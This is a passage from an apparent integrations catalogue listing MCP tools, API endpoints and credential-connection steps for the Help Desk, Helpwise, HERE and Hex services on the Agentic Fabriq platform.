GET /api/v1/helpdesk/v1/reports/responseTimePerTeam. Scopes: api. help_desk_com_get_v1_reports_status (read) — Ticket status via GET /v1/reports/status GET /api/v1/helpdesk/v1/reports/status. Scopes: api. help_desk_com_get_v1_reports_status24 (read) — Ticket status (24h distribution) via GET /v1/reports/status24 GET /api/v1/helpdesk/v1/reports/status24. Scopes: api. help_desk_com_get_v1_reports_statusduration (read) — Tickets status duration via GET /v1/reports/statusDuration GET /api/v1/helpdesk/v1/reports/statusDuration. Scopes: api. help_desk_com_get_v1_reports_statusdurationperagent (read) — Tickets status duration per agent via GET /v1/reports/statusDurationPerAgent GET /api/v1/helpdesk/v1/reports/statusDurationPerAgent. Scopes: api. help_desk_com_get_v1_reports_statusdurationperteam (read) — Tickets status duration per team via GET /v1/reports/statusDurationPerTeam GET /api/v1/helpdesk/v1/reports/statusDurationPerTeam. Scopes: api. help_desk_com_get_v1_reports_statusdurationtotal (read) — Tickets status duration total via GET /v1/reports/statusDurationTotal GET /api/v1/helpdesk/v1/reports/statusDurationTotal. Scopes: api. help_desk_com_get_v1_reports_statusperagent (read) — Tickets status per agent via GET /v1/reports/statusPerAgent GET /api/v1/helpdesk/v1/reports/statusPerAgent. Scopes: api. help_desk_com_get_v1_reports_statusperteam (read) — Tickets status per team via GET /v1/reports/statusPerTeam GET /api/v1/helpdesk/v1/reports/statusPerTeam. Scopes: api. help_desk_com_get_v1_reports_ticketsources (read) — Ticket sources via GET /v1/reports/ticketSources GET /api/v1/helpdesk/v1/reports/ticketSources. Scopes: api. help_desk_com_get_v1_reports_ticketsources24 (read) — Ticket sources (24h distribution) via GET /v1/reports/ticketSources24 GET /api/v1/helpdesk/v1/reports/ticketSources24. Scopes: api. help_desk_com_get_v1_rules (read) — List rules via GET /v1/rules GET /api/v1/helpdesk/v1/rules. Scopes: api. help_desk_com_get_v1_rules_by_ruleid (read) — Get rule via GET /v1/rules/{ruleID} GET /api/v1/helpdesk/v1/rules/{ruleID}. Scopes: api. help_desk_com_get_v1_subscriptions (read) — List subscriptions via GET /v1/subscriptions GET /api/v1/helpdesk/v1/subscriptions. Scopes: api. help_desk_com_get_v1_tags (read) — List tags via GET /v1/tags GET /api/v1/helpdesk/v1/tags. Scopes: api. help_desk_com_get_v1_tags_by_tagid (read) — Get tag via GET /v1/tags/{tagID} GET /api/v1/helpdesk/v1/tags/{tagID}. Scopes: api. help_desk_com_get_v1_teams (read) — List teams via GET /v1/teams GET /api/v1/helpdesk/v1/teams. Scopes: api. help_desk_com_get_v1_teams_by_teamid (read) — Get team via GET /v1/teams/{teamID} GET /api/v1/helpdesk/v1/teams/{teamID}. Scopes: api. help_desk_com_get_v1_templates (read) — List templates via GET /v1/templates GET /api/v1/helpdesk/v1/templates. Scopes: api. help_desk_com_get_v1_templates_by_templateid (read) — Get template via GET /v1/templates/{templateID} GET /api/v1/helpdesk/v1/templates/{templateID}. Scopes: api. help_desk_com_get_v1_tickets (read) — List tickets via GET /v1/tickets GET /api/v1/helpdesk/v1/tickets. Scopes: api. help_desk_com_get_v1_tickets_by_ticketid (read) — Get ticket via GET /v1/tickets/{ticketID} GET /api/v1/helpdesk/v1/tickets/{ticketID}. Scopes: api. help_desk_com_get_v1_tickets_by_ticketid_events_by_eventid_originalcontent (read) — Get original message content via GET /v1/tickets/{ticketID}/events/{eventID}/originalContent GET /api/v1/helpdesk/v1/tickets/{ticketID}/events/{eventID}/originalContent. Scopes: api. help_desk_com_get_v1_transactions_by_transactionid (read) — Get transaction via GET /v1/transactions/{transactionID} GET /api/v1/helpdesk/v1/transactions/{transactionID}. Scopes: api. help_desk_com_get_v1_trustedemails (read) — List trusted emails via GET /v1/trustedEmails GET /api/v1/helpdesk/v1/trustedEmails. Scopes: api. help_desk_com_get_v1_trustedemails_by_trustedemailid (read) — Get trusted email via GET /v1/trustedEmails/{trustedEmailID} GET /api/v1/helpdesk/v1/trustedEmails/{trustedEmailID}. Scopes: api. help_desk_com_get_v1_unsubscriptions (read) — List unsubscriptions via GET /v1/unsubscriptions GET /api/v1/helpdesk/v1/unsubscriptions. Scopes: api. help_desk_com_get_v1_views (read) — Views list via GET /v1/views GET /api/v1/helpdesk/v1/views. Scopes: api. help_desk_com_get_v1_views_by_viewid (read) — Get view via GET /v1/views/{viewID} GET /api/v1/helpdesk/v1/views/{viewID}. Scopes: api. help_desk_com_get_v1_webhooks (read) — Webhooks list via GET /v1/webhooks GET /api/v1/helpdesk/v1/webhooks. Scopes: api. help_desk_com_get_v1_webhooks_by_webhookid (read) — Get webhook via GET /v1/webhooks/{webhookID} GET /api/v1/helpdesk/v1/webhooks/{webhookID}. Scopes: api. help_desk_com_patch_v1_agents (write) — Batch update agents via PATCH /v1/agents PATCH /api/v1/helpdesk/v1/agents. Scopes: api. help_desk_com_patch_v1_agents_by_agentid (write) — Update agent via PATCH /v1/agents/{agentID} PATCH /api/v1/helpdesk/v1/agents/{agentID}. Scopes: api. help_desk_com_patch_v1_cannedresponses_by_cannedresponseid (write) — Update canned response via PATCH /v1/cannedResponses/{cannedResponseID} PATCH /api/v1/helpdesk/v1/cannedResponses/{cannedResponseID}. Scopes: api. help_desk_com_patch_v1_customfields_by_customfieldid (write) — Update custom field via PATCH /v1/customFields/{customFieldID} PATCH /api/v1/helpdesk/v1/customFields/{customFieldID}. Scopes: api. help_desk_com_patch_v1_licenses_by_licenseid (write) — Update license via PATCH /v1/licenses/{licenseID} PATCH /api/v1/helpdesk/v1/licenses/{licenseID}. Scopes: api. help_desk_com_patch_v1_macros_by_macroid (write) — Update macro via PATCH /v1/macros/{macroID} PATCH /api/v1/helpdesk/v1/macros/{macroID}. Scopes: api. help_desk_com_patch_v1_mailboxes_by_mailboxid (write) — Update mailbox via PATCH /v1/mailboxes/{mailboxID} PATCH /api/v1/helpdesk/v1/mailboxes/{mailboxID}. Scopes: api. help_desk_com_patch_v1_rules_by_ruleid (write) — Update rule via PATCH /v1/rules/{ruleID} PATCH /api/v1/helpdesk/v1/rules/{ruleID}. Scopes: api. help_desk_com_patch_v1_subscriptions_by_subscriptionid (write) — Update subscription via PATCH /v1/subscriptions/{subscriptionID} PATCH /api/v1/helpdesk/v1/subscriptions/{subscriptionID}. Scopes: api. help_desk_com_patch_v1_subscriptions_by_subscriptionid_cancel (write, destructive) — Cancel subscription via PATCH /v1/subscriptions/{subscriptionID}/cancel PATCH /api/v1/helpdesk/v1/subscriptions/{subscriptionID}/cancel. Scopes: api. help_desk_com_patch_v1_subscriptions_by_subscriptionid_terminate (write, destructive) — Terminate subscription via PATCH /v1/subscriptions/{subscriptionID}/terminate PATCH /api/v1/helpdesk/v1/subscriptions/{subscriptionID}/terminate. Scopes: api. help_desk_com_patch_v1_tags_by_tagid (write) — Update tag via PATCH /v1/tags/{tagID} PATCH /api/v1/helpdesk/v1/tags/{tagID}. Scopes: api. help_desk_com_patch_v1_teams (write) — Update teams via PATCH /v1/teams PATCH /api/v1/helpdesk/v1/teams. Scopes: api. help_desk_com_patch_v1_teams_by_teamid (write) — Update team via PATCH /v1/teams/{teamID} PATCH /api/v1/helpdesk/v1/teams/{teamID}. Scopes: api. help_desk_com_patch_v1_templates_by_templateid (write) — Update template via PATCH /v1/templates/{templateID} PATCH /api/v1/helpdesk/v1/templates/{templateID}. Scopes: api. help_desk_com_patch_v1_tickets_by_ticketid (write) — Update ticket via PATCH /v1/tickets/{ticketID} PATCH /api/v1/helpdesk/v1/tickets/{ticketID}. Scopes: api. help_desk_com_patch_v1_views_by_viewid (write) — Update view via PATCH /v1/views/{viewID} PATCH /api/v1/helpdesk/v1/views/{viewID}. Scopes: api. help_desk_com_patch_v1_webhooks_by_webhookid (write) — Update webhook via PATCH /v1/webhooks/{webhookID} PATCH /api/v1/helpdesk/v1/webhooks/{webhookID}. Scopes: api. help_desk_com_post_v1_agents (write) — Create agent via POST /v1/agents POST /api/v1/helpdesk/v1/agents. Scopes: api. help_desk_com_post_v1_blockedemails (write) — Block an email via POST /v1/blockedEmails POST /api/v1/helpdesk/v1/blockedEmails. Scopes: api. help_desk_com_post_v1_cannedresponses (write) — Create canned response via POST /v1/cannedResponses POST /api/v1/helpdesk/v1/cannedResponses. Scopes: api. help_desk_com_post_v1_customfields (write) — Create custom field via POST /v1/customFields POST /api/v1/helpdesk/v1/customFields. Scopes: api. help_desk_com_post_v1_emaildomains (write) — Create email domain via POST /v1/emailDomains POST /api/v1/helpdesk/v1/emailDomains. Scopes: api. help_desk_com_post_v1_emaildomains_by_emaildomainid_verify (write) — Verify email domain via POST /v1/emailDomains/{emailDomainID}/verify POST /api/v1/helpdesk/v1/emailDomains/{emailDomainID}/verify. Scopes: api. help_desk_com_post_v1_forwardingemails (write) — Test email forwarding via POST /v1/forwardingEmails POST /api/v1/helpdesk/v1/forwardingEmails. Scopes: api. help_desk_com_post_v1_importedtickets (write) — Create imported ticket via POST /v1/importedTickets POST /api/v1/helpdesk/v1/importedTickets. Scopes: api. help_desk_com_post_v1_importedtickets_transactions (write) — Create imported ticket transaction via POST /v1/importedTickets/transactions POST /api/v1/helpdesk/v1/importedTickets/transactions. Scopes: api. help_desk_com_post_v1_licenses (write) — Create license via POST /v1/licenses POST /api/v1/helpdesk/v1/licenses. Scopes: api. help_desk_com_post_v1_macros (write) — Create macro via POST /v1/macros POST /api/v1/helpdesk/v1/macros. Scopes: api. help_desk_com_post_v1_mailboxes (write) — Create mailbox via POST /v1/mailboxes POST /api/v1/helpdesk/v1/mailboxes. Scopes: api. help_desk_com_post_v1_replyaddresses (write) — Create reply address via POST /v1/replyAddresses POST /api/v1/helpdesk/v1/replyAddresses. Scopes: api. help_desk_com_post_v1_reports (write) — Create custom report via POST /v1/reports POST /api/v1/helpdesk/v1/reports. Scopes: api. help_desk_com_post_v1_rules (write) — Create rule via POST /v1/rules POST /api/v1/helpdesk/v1/rules. Scopes: api. help_desk_com_post_v1_subscriptions (write) — Create subscriptions via POST /v1/subscriptions POST /api/v1/helpdesk/v1/subscriptions. Scopes: api. help_desk_com_post_v1_tags (write) — Create tag via POST /v1/tags POST /api/v1/helpdesk/v1/tags. Scopes: api. help_desk_com_post_v1_teams (write) — Create team via POST /v1/teams POST /api/v1/helpdesk/v1/teams. Scopes: api. help_desk_com_post_v1_templates (write) — Create template via POST /v1/templates POST /api/v1/helpdesk/v1/templates. Scopes: api. help_desk_com_post_v1_templates_preview (write) — Generate template preview via POST /v1/templates/preview POST /api/v1/helpdesk/v1/templates/preview. Scopes: api. help_desk_com_post_v1_templates_sendtestmessage (write) — Send test message via POST /v1/templates/sendTestMessage POST /api/v1/helpdesk/v1/templates/sendTestMessage. Scopes: api. help_desk_com_post_v1_tickets (write) — Create ticket via POST /v1/tickets POST /api/v1/helpdesk/v1/tickets. Scopes: api. help_desk_com_post_v1_tickets_by_ticketid_childtickets (write) — Merge ticket via POST /v1/tickets/{ticketID}/childTickets POST /api/v1/helpdesk/v1/tickets/{ticketID}/childTickets. Scopes: api. help_desk_com_post_v1_tickets_by_ticketid_followers (write) — Add followers via POST /v1/tickets/{ticketID}/followers POST /api/v1/helpdesk/v1/tickets/{ticketID}/followers. Scopes: api. help_desk_com_post_v1_tickets_by_ticketid_ratingrequests (write) — Send rating request via POST /v1/tickets/{ticketID}/ratingRequests POST /api/v1/helpdesk/v1/tickets/{ticketID}/ratingRequests. Scopes: api. help_desk_com_post_v1_tickets_by_ticketid_tags (write) — Add tag via POST /v1/tickets/{ticketID}/tags POST /api/v1/helpdesk/v1/tickets/{ticketID}/tags. Scopes: api. help_desk_com_post_v1_transactions (write) — Create transaction via POST /v1/transactions POST /api/v1/helpdesk/v1/transactions. Scopes: api. help_desk_com_post_v1_trustedemails (write) — Trust an email via POST /v1/trustedEmails POST /api/v1/helpdesk/v1/trustedEmails. Scopes: api. help_desk_com_post_v1_views (write) — Create view via POST /v1/views POST /api/v1/helpdesk/v1/views. Scopes: api. help_desk_com_post_v1_webhooks (write) — Create webhook via POST /v1/webhooks POST /api/v1/helpdesk/v1/webhooks. Scopes: api. help_desk_com_put_v1_licenses_by_licenseid_forwardinginstructions (write) — Send forwarding instructions via PUT /v1/licenses/{licenseID}/forwardingInstructions PUT /api/v1/helpdesk/v1/licenses/{licenseID}/forwardingInstructions. Scopes: api. help_desk_com_put_v1_tickets_by_ticketid_silo (write) — Move ticket to silo via PUT /v1/tickets/{ticketID}/silo PUT /api/v1/helpdesk/v1/tickets/{ticketID}/silo. Scopes: api. ================================================================================ ## Helpwise URL: https://www.agenticfabriq.com/integrations/helpwise Section: Integrated Tools Helpwise — 26 MCP tools Provider key: helpwise. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. helpwise_delete_customfields_by_customfieldid (write, destructive) — Delete a custom field by id. (DELETE /customFields/{customFieldId}) DELETE /api/v1/helpwise/customFields/{customFieldId}. Scopes: api. helpwise_get_contacts (read) — List contacts with limit/offset paging. (GET /contacts) GET /api/v1/helpwise/contacts. Scopes: api. helpwise_get_contacts_by_contactid (read) — Get one contact by id, with its recent conversations. (GET /contacts/{contactId}) GET /api/v1/helpwise/contacts/{contactId}. Scopes: api. helpwise_get_contacts_search (read) — Search contacts by a text term, with limit/offset paging. (GET /contacts/search) GET /api/v1/helpwise/contacts/search. Scopes: api. helpwise_get_conversations (read) — List conversations of one or more inboxes, by folder, with pageToken pagination. (GET /conversations) GET /api/v1/helpwise/conversations. Scopes: api. helpwise_get_customfields (read) — List every custom field of the Helpwise account. (GET /customFields) GET /api/v1/helpwise/customFields. Scopes: api. helpwise_get_customfields_by_customfieldid (read) — Get one custom field by id. (GET /customFields/{customFieldId}) GET /api/v1/helpwise/customFields/{customFieldId}. Scopes: api. helpwise_get_customfields_inbox_by_inboxid (read) — List the custom fields of an inbox, with whether each is hidden there. (GET /customFields/inbox/{inboxId}) GET /api/v1/helpwise/customFields/inbox/{inboxId}. Scopes: api. helpwise_get_inboxes_by_inboxid_conversations_by_conversationid (read) — Get one conversation and its messages, with pageToken pagination over the messages. (GET /inboxes/{inboxId}/conversations/{conversationId}) GET /api/v1/helpwise/inboxes/{inboxId}/conversations/{conversationId}. Scopes: api. helpwise_get_inboxes_by_inboxid_reports_tags (read) — Per-tag report for one inbox and date window: conversations, response, first-response and resolution times. (GET /inboxes/{inboxId}/reports/tags) GET /api/v1/helpwise/inboxes/{inboxId}/reports/tags. Scopes: api. helpwise_get_reports (read) — Overall and team-performance report for a date window: new, closed and assigned conversations, emails per day and hour, busiest hour and day, response and resolution times, CSAT and per-agent performance. (GET /reports) GET /api/v1/helpwise/reports. Scopes: api. helpwise_get_tags (read) — List the account's tags (an empty account answers null). (GET /tags) GET /api/v1/helpwise/tags. Scopes: api. helpwise_get_tags_by_tagid (read) — Get one tag by id. (GET /tags/{tagId}) GET /api/v1/helpwise/tags/{tagId}. Scopes: api. helpwise_post_contacts (write) — Create a contact with name, company, job title, emails, phones and custom field values. (POST /contacts) POST /api/v1/helpwise/contacts. Scopes: api. helpwise_post_customfields (write) — Create a custom field. (POST /customFields) POST /api/v1/helpwise/customFields. Scopes: api. helpwise_post_smswhatsapp_sendmsg (write) — Send (or schedule) an SMS or WhatsApp message from an SMS/WhatsApp inbox, optionally as a WhatsApp template. (POST /smsWhatsApp/sendMsg) POST /api/v1/helpwise/smsWhatsApp/sendMsg. Scopes: api. helpwise_post_tags_apply (write) — Apply tags to conversations. (POST /tags/apply) POST /api/v1/helpwise/tags/apply. Scopes: api. helpwise_post_tags_remove (write) — Remove tags from conversations. (POST /tags/remove) POST /api/v1/helpwise/tags/remove. Scopes: api. helpwise_put_contacts_by_contactid (write) — Update a contact's name, company, job title, emails, phones and custom field values. (PUT /contacts/{contactId}) PUT /api/v1/helpwise/contacts/{contactId}. Scopes: api. helpwise_put_conversations_action_close (write) — Close Helpwise conversations by id (fewer than 100 per call). (PUT /conversations/action/close) PUT /api/v1/helpwise/conversations/action/close. Scopes: api. helpwise_put_conversations_action_delete (write, destructive) — Delete Helpwise conversations by id (fewer than 100 per call). (PUT /conversations/action/delete) PUT /api/v1/helpwise/conversations/action/delete. Scopes: api. helpwise_put_conversations_action_movetoinbox (write) — Move Helpwise conversations back to the inbox by id (fewer than 100 per call). (PUT /conversations/action/moveToInbox) PUT /api/v1/helpwise/conversations/action/moveToInbox. Scopes: api. helpwise_put_conversations_action_spam (write) — Mark Helpwise conversations as spam by id (fewer than 100 per call). (PUT /conversations/action/spam) PUT /api/v1/helpwise/conversations/action/spam. Scopes: api. helpwise_put_conversations_action_trash (write, destructive) — Move Helpwise conversations to trash by id (fewer than 100 per call). (PUT /conversations/action/trash) PUT /api/v1/helpwise/conversations/action/trash. Scopes: api. helpwise_put_customfields_by_customfieldid (write) — Rename or re-describe an existing custom field. (PUT /customFields/{customFieldId}) PUT /api/v1/helpwise/customFields/{customFieldId}. Scopes: api. helpwise_put_customfields_inbox_by_inboxid (write) — Hide or unhide custom fields in one inbox. (PUT /customFields/inbox/{inboxId}) PUT /api/v1/helpwise/customFields/inbox/{inboxId}. Scopes: api. ================================================================================ ## HERE URL: https://www.agenticfabriq.com/integrations/here Section: Integrated Tools HERE — 32 MCP tools Provider key: here. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. here_get_autocomplete (read) — This endpoint completes entered keystrokes to a valid street address or administrative area to speed-up entering address queries. via GET https://autocomplete.search.hereapi.com/v1/autocomplete GET /api/v1/here/search/autocomplete. Scopes: api. here_get_autosuggest (read) — This endpoint suggests address or place candidates based on an incomplete or misspelled query, from which the user selects the best query to submit. _NOTE: The response may contain **experimental** elements not documented here. Any undocumented element is **subject to removal** at any time._ via GET https://autosuggest.search.hereapi.com/v1/autosuggest GET /api/v1/here/search/autosuggest. Scopes: api. here_get_browse (read) — This endpoint provides search results for places based on different filters, such as categories or name, ranked by distance from a given search center. The only mandatory elements exposed in the response are ID and position. The other elements shown in the response samples section are only dataset attributes suggestions. via GET https://browse.search.hereapi.com/v1/browse GET /api/v1/here/search/browse. Scopes: api. here_get_copyright (read) — Retrieves both the copyright information and the coordinates of the bounding box to which the text applies. If your products and/or services use map data that is made accessible using this service, you shall provide end-users of your products and/or services with notice, in a reasonably conspicuous manner. For more information, see [Include the copyright notice](https://docs.here.com/map-rendering/docs/copyright-notice). via GET https://image.maps.hereapi.com/mia/v3/copyright GET /api/v1/here/mapimage/copyright. Scopes: api. here_get_departures (read) — Lists public transit departures. Discovers subsequent departures using structured or topological queries. The service accepts two types of queries as shown in the table below: | Query | Parameter | Description | |-------|-----------|-------------| | Departures by IDs | `ids` | takes a comma-separated list of station/stop identifiers | | Departures by Location | `in` | takes a pair of coordinates to define the center and a radius to define the extent of a circular area where to search for departures | Select a query from `one of` the options above to visualize the request parameters. via GET https://transit.hereapi.com/v8/departures GET /api/v1/here/transit/departures. Scopes: api. here_get_discover (read) — This endpoint processes a free-form text query for an address or place, and returns results in order of relevance. via GET https://discover.search.hereapi.com/v1/discover GET /api/v1/here/search/discover. Scopes: api. here_get_features (read) — Returns the list of available features per style. You can use these values to request an image with particular features specified as query parameters. Use only the features that are available for a particular style. For more information, see [Customize map features](https://docs.here.com/map-rendering/docs/additional-map-features). via GET https://image.maps.hereapi.com/mia/v3/features GET /api/v1/here/mapimage/features. Scopes: api. here_get_geocode (read) — This endpoint allows you to find the geo-coordinates of a known address, place, locality or administrative area, even if the query is incomplete or partly incorrect. It also returns a complete postal address string and address details. It supports structured, unstructured and hybrid queries - combinations of structured and unstructured query elements. via GET https://geocode.search.hereapi.com/v1/geocode GET /api/v1/here/search/geocode. Scopes: api. here_get_info (read) — Provides details on acceptable values for API parameters, such as PPI (Pixels Per Inch), styles, and other relevant parameters. via GET https://image.maps.hereapi.com/mia/v3/info GET /api/v1/here/mapimage/info. Scopes: api. here_get_isolines (read) — Retrieves a list of polylines that captures the approximate reachable area from the specified center point constrained by the provided parameters. via GET https://isoline.router.hereapi.com/v8/isolines GET /api/v1/here/isolines/isolines. Scopes: api. here_get_languages (read) — Returns the list of available map languages per resource. You can use these values to request an image with labels in a particular language. The values follow ISO 639-1 two-letter language code and, optionally, ISO 15924 four-letter script code. For more information, see [Personalize the map language](https://docs.here.com/map-rendering/docs/languages). via GET https://image.maps.hereapi.com/mia/v3/languages GET /api/v1/here/mapimage/languages. Scopes: api. here_get_lookup (read) — This endpoint looks up a known place using the HERE ID included in the request. via GET https://lookup.search.hereapi.com/v1/lookup GET /api/v1/here/search/lookup. Scopes: api. here_get_matrix_by_matrixid (read) — Result of successfully completed calculation. via GET https://matrix.router.hereapi.com/v8/matrix/{matrixId} GET /api/v1/here/matrix/matrix/{matrixId}. Scopes: api. here_get_matrix_by_matrixid_status (read) — Returns the status of a submitted asynchronous matrix calculation. Redirects to the matrix result if the calculation is successfully completed. **NOTE:** Please make sure to directly use the `statusUrl` returned by the /v8/matrix call to check this status endpoint, including the provided region URL. Due to global load balancing, using matrix.router.hereapi.com for the status endpoint may end up resolving to a different region than the initial calculation, resulting in a 404 error. via GET https://matrix.router.hereapi.com/v8/matrix/{matrixId}/status GET /api/v1/here/matrix/matrix/{matrixId}/status. Scopes: api. here_get_politicalviews (read) — Provides a catalog of available geopolitical views. These values enable the request of an image featuring a specific country view. For more information on geopolitical views, see [Explore geopolitical views](https://docs.here.com/map-rendering/docs/political-views). via GET https://image.maps.hereapi.com/mia/v3/politicalViews GET /api/v1/here/mapimage/politicalViews. Scopes: api. here_get_profiles (read) — It is guaranteed that with each minor API change profiles are only added to this list, but are never removed or modified. via GET https://matrix.router.hereapi.com/v8/profiles GET /api/v1/here/matrix/profiles. Scopes: api. here_get_profiles_by_profileid (read) — Get profile definition by its ID. via GET https://matrix.router.hereapi.com/v8/profiles/{profileId} GET /api/v1/here/matrix/profiles/{profileId}. Scopes: api. here_get_revgeocode (read) — This endpoint returns the nearest address to geo coordinates specified in the request. via GET https://revgeocode.search.hereapi.com/v1/revgeocode GET /api/v1/here/search/revgeocode. Scopes: api. here_get_routes (read) — Calculates a route using a generic vehicle/pedestrian mode, e.g. car, truck, pedestrian, etc... via GET https://router.hereapi.com/v8/routes GET /api/v1/here/routing/routes. Scopes: api. here_get_routes_by_routehandle (read) — Decodes and returns a route from a previously calculated route handle. **Disclaimer: A route handle is not suitable for persistent route storage! It can be invalidated at any time.** A route handle encodes a previously calculated route. A route can be decoded from a handle as long as the service uses the same map data and encoding that were used when retrieving the handle. Thus it is suitable for caching routes compactly. It can be used to retrieve updated traffic information or other data along the route. However, a user should be prepared to recalculate the route when decoding the handle fails. All parameters of the `/routes` endpoint are supported, except for `destination`, `via`, `alternatives` and `routingMode`. See also the `return` parameter of `/routes` endpoint. The `origin` parameter can be provided to update the start of the previously calculated route. The `transportMode` parameter does not have to match the transport mode previously used for route calculation. However, when using a different transport mode, the request may fail, e.g. when the route has road segments forbidden for the provided transport mode. Please refer to the Developer Guide for more information and examples. via GET https://router.hereapi.com/v8/routes/{routeHandle} GET /api/v1/here/routing/routes/{routeHandle}. Scopes: api. here_get_stations (read) — Lists public transit stations. Discovers stations using structured or topological queries. The service accepts three types of queries as shown in the table below: | Query | Parameter | Description | |-------|-----------|-------------| | Stations by IDs | `ids` | Takes a comma-separated list of station/stop identifiers. | | Stations by location | `in` | Takes a pair of coordinates to define the center and a radius to define the extent of a circular area where to search for departures. | | Stations by name and location | `name` and `in` | Takes the station name or part of the name to search for. It is composed of one or more space-separated words and does not support stopwords. | Select a query from `one of` the options above to visualize the request parameters. via GET https://transit.hereapi.com/v8/stations GET /api/v1/here/transit/stations. Scopes: api. here_get_transit_routes (read) — Lists public transit routes. The service supports several use cases as follows: * define routes based on arrival or departure times. * filter specific transit modes, such as rail and metro only. * plan routes hours or days in advance. * set a maximum distance for the walk to the nearest transit stop/station or the speed of the walk. * define how many changes or transfers the journey may include. * request turn-by-turn navigation. * request route polyline in order to view the route over a map. via GET https://transit.hereapi.com/v8/routes GET /api/v1/here/transit/routes. Scopes: api. here_post_autosuggest (write) — This endpoint suggests address or place candidates based on an incomplete or misspelled query, from which the user selects the best query to submit. _NOTE: The response may contain **experimental** elements not documented here. Any undocumented element is **subject to removal** at any time._ via POST https://autosuggest.search.hereapi.com/v1/autosuggest POST /api/v1/here/search/autosuggest. Scopes: api. here_post_browse (write) — This endpoint provides search results for places based on different filters, such as categories or name, ranked by distance from a given search center. The only mandatory elements exposed in the response are ID and position. The other elements shown in the response samples section are only dataset attributes suggestions. via POST https://browse.search.hereapi.com/v1/browse POST /api/v1/here/search/browse. Scopes: api. here_post_discover (write) — This endpoint processes a free-form text query for an address or place, and returns results in order of relevance. via POST https://discover.search.hereapi.com/v1/discover POST /api/v1/here/search/discover. Scopes: api. here_post_import (write) — Creates a route from a sequence of trace points. Post body size limit is 10MiB. For best results, use 1Hz GPS data or any points that have a spacing of a few meters between them. For traces with less frequent points, the Route Import service will attempt to create an approximate reconstruction. In some situations, when consecutive points are too far apart (more than about 30 kilometers of on-road distance), they could be considered unreachable and one of them could fail to be matched. via POST https://router.hereapi.com/v8/import POST /api/v1/here/routing/import. Scopes: api. here_post_isolines (write) — Retrieves a list of polylines that captures the approximate reachable area from the specified center point constrained by the provided parameters. At the moment, only select parameters are permitted in the POST payload. In particular, those parameters that due to request size may be limited in the query string. See the request body section below. These parameters can be provided either in the query string or in the POST body. All other parameters can only be provided in the query string at the moment. via POST https://isoline.router.hereapi.com/v8/isolines POST /api/v1/here/isolines/isolines. Scopes: api. here_post_matrix (write) — Calculates a routing matrix based on provided `origins` and `destinations`. Response will be provided synchronously (see `200` response) or asynchronously (see `202` response) depending on the `async` query parameter. Travel times will be included by default i.e., when `matrixAttributes` parameter is not specified. For other supported attributes, the corresponding flags must be specified in `matrixAttributes`. Maximum request size is 10 MiB (uncompressed). via POST https://matrix.router.hereapi.com/v8/matrix POST /api/v1/here/matrix/matrix. Scopes: api. here_post_multi_revgeocode (write) — This endpoint returns addresses/places for a list of geo-coordinates specified in the request. via POST https://multi-revgeocode.search.hereapi.com/v1/multi-revgeocode POST /api/v1/here/search/multi-revgeocode. Scopes: api. here_post_routes (write) — Calculates a route using a generic vehicle/pedestrian mode, e.g. car, truck, pedestrian, etc... At the moment, only selected parameters are permitted in the POST body, particularly those that may be restricted in the query string due to request size limitations. See the request body section below for details. All other parameters must be provided in the query string. If a parameter is provided in both the query string and the POST body, their values are merged. Post body size limit is 10MiB. via POST https://router.hereapi.com/v8/routes POST /api/v1/here/routing/routes. Scopes: api. here_post_routes_by_routehandle (write) — Decodes and returns a route from a previously calculated route handle. **Disclaimer: A route handle is not suitable for persistent route storage! It can be invalidated at any time.** A route handle encodes a previously calculated route. A route can be decoded from a handle as long as the service uses the same map data and encoding that were used when retrieving the handle. Thus it is suitable for caching routes compactly. It can be used to retrieve updated traffic information or other data along the route. However, a user should be prepared to recalculate the route when decoding the handle fails. All parameters of the `/routes` endpoint are supported, except for `destination`, `via`, `alternatives` and `routingMode`. See also the `return` parameter of `/routes` endpoint. The `origin` parameter can be provided to update the start of the previously calculated route. The `transportMode` parameter does not have to match the transport mode previously used for route calculation. However, when using a different transport mode, the request may fail, e.g. when the route has road segments forbidden for the provided transport mode. Only selected parameters are permitted in the POST body. See the request body section below for details. If a parameter is provided in both the query string and the POST body, their values are merged. Post body size limit is 10MiB. Please refer to the Developer Guide for more information and examples. via POST https://router.hereapi.com/v8/routes/{routeHandle} POST /api/v1/here/routing/routes/{routeHandle}. Scopes: api. here_post_signals (write) — **RESTRICTED** This endpoint receives user interaction data from previous search results to improve future result quality. via POST https://signals.search.hereapi.com/v1/signals POST /api/v1/here/search/signals. Scopes: api. ================================================================================ ## Hex URL: https://www.agenticfabriq.com/integrations/hex Section: Integrated Tools Hex — 59 MCP tools Provider key: hex. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. hex_delete_cells_by_cellid (write, destructive) — Delete Cell via DELETE /cells/{cellId}. Delete a cell from the draft version of a project by ID This endpoint is subject to the following rate limits: - `hex-api-30rpm`: Rate limit group for the Hex API at 30 requests per minute - Max 30 requests per minute Destructive and permanent; Hex offers no undo through this API. DELETE /api/v1/hex/cells/{cellId}. Scopes: api. hex_delete_groups_by_groupid (write, destructive) — Delete Group via DELETE /groups/{groupId}. Destructive and permanent; Hex offers no undo through this API. DELETE /api/v1/hex/groups/{groupId}. Scopes: api. hex_delete_guides_draft_by_orgguidefileid (write, destructive) — Delete Guide Draft via DELETE /guides/draft/{orgGuideFileId}. Destructive and permanent; Hex offers no undo through this API. DELETE /api/v1/hex/guides/draft/{orgGuideFileId}. Scopes: api. 